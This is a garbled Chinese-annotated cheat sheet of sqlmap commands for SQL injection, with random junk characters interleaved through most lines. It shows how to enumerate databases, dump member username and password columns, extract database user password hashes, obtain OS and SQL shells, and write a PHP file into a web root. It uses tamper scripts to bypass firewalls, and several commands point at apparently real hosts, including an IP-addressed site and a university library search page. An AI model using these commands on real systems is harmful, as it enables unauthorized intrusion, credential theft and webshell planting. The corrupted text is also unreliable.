/pentest/database/sqlmap$ B! ?5 N# g+ C3 \- n% e: o
# h3 |0 M) V& M" Qupdate :::::> in the folder after execute following order : svn update
1 }- Q, x, f% z- F& s, T) P: Y }5 {8 T4 X' N6 U3 @$ i
sqlmap.py -r 1.txt --current-db7 x ?8 ?' h2 X! f0 W
+ l. M2 Q8 N, c5 Cv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
d* C& \; V4 ^
/ \& U! [" {( I, K. j0 D% m==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
5 Y" M8 \3 ~/ r$ d+ W3 m猜解数据库# |0 P0 O5 \: p) n$ y
./sqlmap.py -u "injection-url" --dbs
) v0 I( f7 x, L# Jsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"3 a! ~/ I0 a% O. X/ S5 [
2 m a# v" c5 K4 I3 z+ q' h
猜解表名& m5 e7 e6 ?6 l' y
./sqlmap.py -u "injection-url" -D database_name --tables
" N V& M" B( U' l1 E0 m- E' Y
2 e: D- x. ?9 n# j7 I9 Ksqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"$ y. ?% q2 M3 ?: B( d3 F
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
* C$ E8 c) ?' \8 m& T
+ a. T# ?) R$ esqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
2 ?: d, q3 K* x8 g! ]% m( S' ^! o4 Z& a0 F, x
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"4 J( |4 `% N: H
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"* F2 I: j4 o3 ^4 ]# ?+ B
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
: ^3 d6 ~. j) Y/ nsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"- i' a2 P" e. H: S' @# Y
4 A# h, i8 @' ]: Esqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py", L2 [. b: T8 k3 ~+ [4 H/ d9 R
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
0 h- l, m5 ]6 x1 z. _4 c+ N3 _sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
# ~8 j! |- @" |+ f7 |1 H* S& `/ i2 hsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"0 D7 @( l% v# V" p
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump z% w% \' A4 l/ w+ D. G
/ ~' z9 s5 l0 |sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
% f7 d" Q& J) i, ^0 \3 X; P0 Ysqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
, D1 R5 B; j4 ?1 e* B: u1 h
' S$ q9 M6 n- J7 xsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
; n' X& K U* l) M Q) r猜解列名( ?: p9 c' x) N8 L W" w
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns# C; i; U$ Q5 ^7 N& i! g
' b5 c8 E- d- B; x" S* h& X; A
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
% A# z" [! H/ rsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
/ _9 F# ^/ ?9 L5 p9 N5 g/ asqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"" K" \0 i- b& b0 f1 C8 x
[, C( |4 Q+ }4 H$ W' n, E1 Y J, lsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
& J' [, P& F- s+ V$ |&submit=Go
$ E: I# h f6 F) g猜解值# h4 ?( Q' i3 ]+ f$ u/ Z |
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump) `2 F/ R' j* p1 B" l" I# _% D
========================================================3 M9 Z/ O+ B, {) L4 l- X. i W7 s' E+ m
搜索表名中包括mana字符的
/ K( h+ K. l2 H$ v+ J' X/sqlmap.py -u "injection-url" -T mana --search' g" M! v9 E4 e
返回一个交互式sql shell7 z9 U4 z7 t5 c; k# m' O0 I7 ^! z
/sqlmap.py -u "injection-url" --sql-shell
5 d" I. @, S4 v4 z) S读取指定文件(需权限)
& m O1 P7 P* d/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"1 r3 G* V4 C" ^+ f( O% \( B
查看当前 用户 及 数据库 ' D! e# A7 ]1 L+ d3 S
/sqlmap.py -u "injection-url" --current-user --current-db
( T2 Q* y8 j4 A3 u: A5 f本地文件 写入 远程目标绝对路径
: {/ e! S6 s6 _5 ]2 P/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
* _! {/ Z# A' T; V0 Fsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" ) T9 S) L$ n5 m. G
8 D+ `$ ]2 K. o
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
0 {, ]5 n7 _* a7 ?% C查看某用的权限
! d7 F a/ B$ [ U2 {/sqlmap.py -u "injection-url" --privileges -U root
$ Y" w$ M7 b2 w查看当前用户是否为dba- F$ f: J0 T* u
/sqlmap.py -u "injection-url" --is-dba
) G9 q+ O6 a. d, |" i读取所有数据库用户或指定数据库用户的密码5 [: [, W/ P% S
sqlmap.py -r 1.txt --users --passwords
9 x2 a1 W" B! [ H* K( E# asqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" # }7 b. K" N/ U; R- z1 P
2 L$ z0 f" f9 z1 B/sqlmap.py -u "injection-url" --passwords -U root8 I+ Y2 x1 N2 l* {* H4 |6 v
6 Y) I7 d4 \! G. l5 D- s9 _# u
--start&&--stop 与 --first&&--last 的区别3 Q2 O! O$ z" Q S% O
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
' X6 l: S+ P' [0 ]* Q7 Z4 a8 [) d# ^( U+ r" M. n
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt); p- e" d% r S7 d
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
$ v& E9 \* ~; T: z/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns! p8 b9 R- n8 \1 M, q2 W
; ^5 s g0 E- A执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
( z0 G9 c4 q6 d n7 b; H& p# @/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"! z' ~ H4 O$ b! }7 G8 f0 B# V
8 f2 r+ G7 H9 Z( H |